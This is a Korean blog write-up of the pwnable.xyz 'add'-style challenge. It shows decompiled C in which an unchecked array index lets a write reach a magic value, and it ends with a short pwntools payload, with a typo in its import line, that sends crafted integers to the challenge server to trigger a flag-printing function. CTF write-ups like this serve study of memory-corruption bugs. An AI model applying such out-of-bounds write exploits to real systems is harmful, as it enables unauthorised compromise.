

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

실행파일을 실행시켜보니까 add문제랑 똑같이 동작한다.
[main]
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
memset(&s, 0, 0x98uLL);
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
win("%ld %ld %ld", &v6);
return 0;
}
v5 + 7위치에 0xDEADBEEF를 넣어준다.

v5가 0x7fffffffddf8에 위치해 있고 v5+7 부분에 0xdeadbeef가 들어가 있는 것을 확인할 수 있다.
v6, v7, v8에 각각 long형 정수를 입력받는다. 이때, v8이 9 이하 -7 이상이면 계속 정수 세 개를 입력받는다.
v5[v8 + 6]에 v6+v7을 연산해서 넣어준 후 v5[v8 + 6]을 출력해준다.
while문이 끝나고 만약 v5+7부분에 0xB000000B5가 들어가있다면 win함수를 실행시켜 준다.
[win]
int win()
{
return system("cat /flag");
}
헷갈리니까 0xDEADBEEF가 들어간 모양을 보고 대입해보면
v5[0]에 0xb5000000 00000000을 넣고 v5[1]에 0x00000000 0b000000을 넣어주면 된다.


이렇게 두 개의 숫자를 넣어주자.
[payload]
from pwn improt *
r = remote('svc.pwnable.xyz', 30003)
r.sendline("0 -5404319552844595200 -6")
r.sendline("1 184549367 -5")
r.sendline("ryuliguseul")
r.interactive()

'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] note (0) | 2020.05.08 |
---|---|
[pwnable.xyz] GrowUp (0) | 2020.04.25 |
[pwnable.xyz] add (0) | 2020.04.16 |
[pwnable.xyz] sub (0) | 2020.04.13 |
[pwnable.xyz] Welcome (0) | 2020.04.11 |